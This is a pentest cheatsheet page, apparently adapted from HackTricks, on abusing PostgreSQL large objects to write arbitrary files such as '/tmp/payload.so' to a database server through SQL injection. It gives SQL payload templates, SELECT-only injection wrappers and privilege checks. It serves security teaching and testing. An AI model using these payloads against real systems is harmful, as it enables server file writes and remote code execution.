daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

big-binary-files-upload-postgresql.md (11250B)


      1 ---
      2 title: "Big Binary Files Upload in PostgreSQL"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Big Binary Files Upload in PostgreSQL
     14 
     15 ## PostgreSQL Large Objects
     16 
     17 PostgreSQL offers a structure known as **large objects**, accessible via the `pg_largeobject` table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the `COPY TO` function as it enables the **exportation of data back to the file system**, ensuring an exact replica of the original file is maintained.<sup>[[1]](#references)</sup>
     18 
     19 This primitive is commonly chained with [RCE with PostgreSQL Extensions](/hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions) or server-side configuration overwrites once `lo_export` is available.
     20 
     21 ### Server-side SQL functions vs. client-side commands
     22 
     23 Do not confuse `SELECT lo_import(...)` / `SELECT lo_export(...)` with psql's `\lo_import` / `\lo_export` meta-commands. The SQL functions access paths on the **database server** as the PostgreSQL service account; the backslash commands transfer files on the **psql client** through libpq. Therefore, only the SQL form provides the server-side file-write primitive needed by an SQL injection.<sup>[[1]](#references)</sup>
     24 
     25 ```sql
     26 SELECT lo_export(173454, '/tmp/payload.so'); -- Database server filesystem
     27 \lo_export 173454 ./payload.so             -- psql client filesystem
     28 ```
     29 
     30 For **storing a complete file** within this table, an object must be created in the `pg_largeobject` table (identified by a LOID), followed by the insertion of data chunks, each one internal page in size. On standard builds these chunks are 2KB and must be complete except for the last one, otherwise direct row insertion produces zero-filled gaps in the exported file.<sup>[[3]](#references)</sup>
     31 
     32 When **writing rows directly into `pg_largeobject`**, keep in mind that the page size is `LOBLKSIZE` (`BLCKSZ/4`, normally 2048 bytes). Therefore, every `pageno` chunk should be exactly one `LOBLKSIZE` except the last one. If you use `lo_from_bytea` or `lo_put` instead, PostgreSQL will split the data into the underlying pages for you.<sup>[[3]](#references)</sup>
     33 
     34 To **divide your binary data** into 2KB chunks, the following commands can be executed:
     35 
     36 ```bash
     37 split -b 2048 your_file # Creates 2KB sized files
     38 ```
     39 
     40 For encoding each file into Base64 or Hex, the commands below can be used:
     41 
     42 ```bash
     43 base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
     44 xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
     45 ```
     46 
     47 **Important**: When automating this process, ensure to send chunks of 2KB of clear-text bytes. Hex encoded files will require 4KB of data per chunk due to doubling in size, while Base64 encoded files follow the formula `ceil(n / 3) * 4`.
     48 
     49 The contents of the large objects can be viewed for debugging purposes using:
     50 
     51 ```sql
     52 SELECT loid, pageno, encode(data, 'escape')
     53 FROM pg_largeobject WHERE loid=173454 ORDER BY pageno;
     54 SELECT sum(octet_length(data)) AS stored_bytes
     55 FROM pg_largeobject WHERE loid=173454;
     56 SELECT encode(lo_get(173454, 0, 32), 'hex');
     57 ```
     58 
     59 `stored_bytes` is not the logical file size if the object is sparse. Because each row begins at `pageno * LOBLKSIZE`, calculate the end of the highest page instead. Missing regions read back as zeroes.<sup>[[3]](#references)</sup>
     60 
     61 ```sql
     62 SELECT pageno * (current_setting('block_size')::bigint / 4) + octet_length(data) AS logical_bytes
     63 FROM pg_largeobject WHERE loid=173454 ORDER BY pageno DESC LIMIT 1;
     64 SELECT md5(lo_get(173454)) AS staged_md5; -- Suitable for ordinary payload-sized objects
     65 ```
     66 
     67 #### Using `lo_creat` & Base64
     68 
     69 To store binary data, a LOID is first created:
     70 
     71 ```sql
     72 SELECT lo_creat(-1);       -- Creates a new, empty large object
     73 SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID
     74 ```
     75 
     76 In situations requiring precise control, such as exploiting a Blind SQL Injection, `lo_create` is preferred for specifying a fixed LOID.
     77 
     78 Data chunks can then be inserted as follows:
     79 
     80 ```sql
     81 INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
     82 INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
     83 
     84 ```
     85 
     86 To export and potentially delete the large object after use:
     87 
     88 ```sql
     89 SELECT lo_export(173454, '/tmp/your_file'); -- Path must be writable by the PostgreSQL OS user
     90 SELECT lo_unlink(173454);  -- Deletes the specified large object
     91 ```
     92 
     93 #### Using `lo_import` & Hex
     94 
     95 The `lo_import` function can be utilized to create and specify a LOID for a large object:
     96 
     97 ```sql
     98 select lo_import('/path/to/file');
     99 select lo_import('/path/to/file', 173454);
    100 ```
    101 
    102 In exploitation this is useful when you can already read a file from the **server file system**, want to clone it into a large object, patch it inside the database, and then export it back later.
    103 
    104 Following object creation, data is inserted per page, ensuring each chunk does not exceed 2KB:
    105 
    106 ```sql
    107 update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
    108 update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
    109 ```
    110 
    111 To complete the process, the data is exported and the large object is deleted:
    112 
    113 ```sql
    114 select lo_export(173454, '/path/to/your_file');
    115 select lo_unlink(173454);  -- Deletes the specified large object
    116 ```
    117 
    118 #### Using `lo_from_bytea`, `lo_put` & `lo_get`
    119 
    120 For modern SQLi exploitation, these functions are often more comfortable than manually inserting rows into `pg_largeobject`, especially if the sink only allows **function calls inside a `SELECT` expression**.<sup>[[2]](#references)</sup>
    121 
    122 ```sql
    123 SELECT lo_from_bytea(173454, decode('<FULL_FILE_HEX>', 'hex')); -- Fixed OID
    124 SELECT lo_from_bytea(0, decode('<FULL_FILE_HEX>', 'hex'));      -- Let PostgreSQL choose the OID
    125 SELECT lo_put(173454, 0, decode('<HEX chunk 0>', 'hex'));
    126 SELECT lo_put(173454, 2048, decode('<HEX chunk 1>', 'hex'));
    127 SELECT encode(lo_get(173454, 0, 32), 'hex');
    128 SELECT lo_export(173454, '/tmp/payload.so');
    129 ```
    130 
    131 Useful notes:
    132 
    133 - `lo_put` uses **byte offsets**, not `pageno`.
    134 - `lo_from_bytea` and `lo_put` split the data into the internal 2KB pages automatically.
    135 - This makes them more practical than direct `INSERT`/`UPDATE` against `pg_largeobject` when automating large uploads.
    136 - Recent PostgreSQL SQLi research used this exact `lo_create`/`lo_put`/`lo_export` pattern to stage native modules and config-file rewrites without relying on stacked queries.<sup>[[2]](#references)</sup>
    137 
    138 If the injection only accepts a **scalar `SELECT` slot**, wrap the side effect in a nested subquery so the payload still parses:<sup>[[2]](#references)</sup>
    139 
    140 ```sql
    141 (SELECT 1 FROM (SELECT lo_put(173454, 0, decode('<HEX>', 'hex'))) AS _)
    142 ```
    143 
    144 Another practical trick for restrictive `CASE`/`ORDER BY` sinks is wrapping `lo_put` with `pg_typeof(...)`, because `lo_put` itself returns `void`.
    145 
    146 #### Pre-flight checks
    147 
    148 Before sending hundreds of chunks, confirm the effective role, transaction mode, and the exact overloaded function privilege. A role can have `EXECUTE` on `lo_export(oid,text)` without being a database superuser, and PostgreSQL warns that such a grant is effectively server-file access.<sup>[[1]](#references)</sup>
    149 
    150 ```sql
    151 SELECT current_user,
    152        (SELECT rolsuper FROM pg_roles WHERE rolname = current_user) AS is_superuser,
    153        current_setting('transaction_read_only')::boolean AS is_read_only,
    154        has_function_privilege(
    155          current_user, 'pg_catalog.lo_export(oid,text)', 'EXECUTE'
    156        ) AS can_call_lo_export;
    157 SELECT oid, lomowner::regrole, lomacl
    158 FROM pg_largeobject_metadata WHERE oid = 173454;
    159 ```
    160 
    161 Function-level `EXECUTE` and object-level rights are separate checks: reading an existing LO needs `SELECT`, writing it needs `UPDATE`, and unlinking it requires ownership or superuser. A newly created object is owned by the role that created it.<sup>[[1]](#references)[[3]](#references)</sup>
    162 
    163 #### Request, rollback, and retry behavior
    164 
    165 Large-object catalog changes participate in the surrounding SQL transaction. Consequently, a `lo_create` or `lo_put` executed through an error-based payload disappears if the application later rolls the request back. Make every staging expression return a valid, type-compatible value and ensure it is actually evaluated; split the upload over successful requests when necessary. In contrast, `lo_export` writes an external operating-system file, so a later database rollback cannot restore a file that was truncated or replaced—test the chain against a disposable path first.<sup>[[1]](#references)[[4]](#references)</sup>
    166 
    167 Retries are safe at a previously written offset because `lo_put` overwrites bytes, but it does **not shrink** an existing object. If an earlier payload was longer, reuse can leave a stale tail in the exported file; `lo_unlink` and recreate the LO before a fresh upload.<sup>[[1]](#references)</sup>
    168 
    169 #### Sparse overwrites / patching specific offsets
    170 
    171 `pg_largeobject` supports **sparse storage**: missing pages are interpreted as zeroes when the object is read back. Therefore, `lo_put` is also useful to patch only selected offsets instead of rebuilding the whole object.
    172 
    173 ```sql
    174 -- Patch bytes at offset 0x1000
    175 SELECT lo_put(173454, 4096, decode('<PATCHED_HEX>', 'hex'));
    176 ```
    177 
    178 This is handy when tweaking only a PE/ELF header, a config file, or a previously imported file before exporting it back to disk.<sup>[[2]](#references)</sup>
    179 
    180 ## Limitations
    181 
    182 - Since **PostgreSQL 9.0**, large objects have an owner and ACLs. `SELECT` on the large object allows reading it, and `UPDATE` allows writing or truncating it.<sup>[[1]](#references)</sup>
    183 - Enumerating large objects is usually done via `pg_largeobject_metadata`; modern versions do not keep `pg_largeobject` world-readable like older releases did.
    184 - `lo_import` and `lo_export` access the **server** file system as the PostgreSQL OS user, so by default they are restricted to superusers. If a lower-privileged role has them granted, that is often close to arbitrary file read/write as `postgres`.
    185 - If `lo_compat_privileges` is enabled, the post-9.0 large-object privilege checks are disabled for compatibility, which can re-open legacy read/write behavior on misconfigured targets.
    186 
    187 
    188 ## References
    189 
    190 - [1] [PostgreSQL official documentation - Server-Side Functions](https://www.postgresql.org/docs/current/lo-funcs.html)
    191 - [2] [Lexfo / Ambionics - Drupal PostgreSQL SQL Injection: From SELECT-Only to RCE](https://blog.lexfo.fr/drupal-postgresql-sqli-to-rce.html)
    192 - [3] [PostgreSQL official documentation - `pg_largeobject`](https://www.postgresql.org/docs/current/catalog-pg-largeobject.html)
    193 - [4] [PostgreSQL official documentation - Transactions](https://www.postgresql.org/docs/current/tutorial-transactions.html)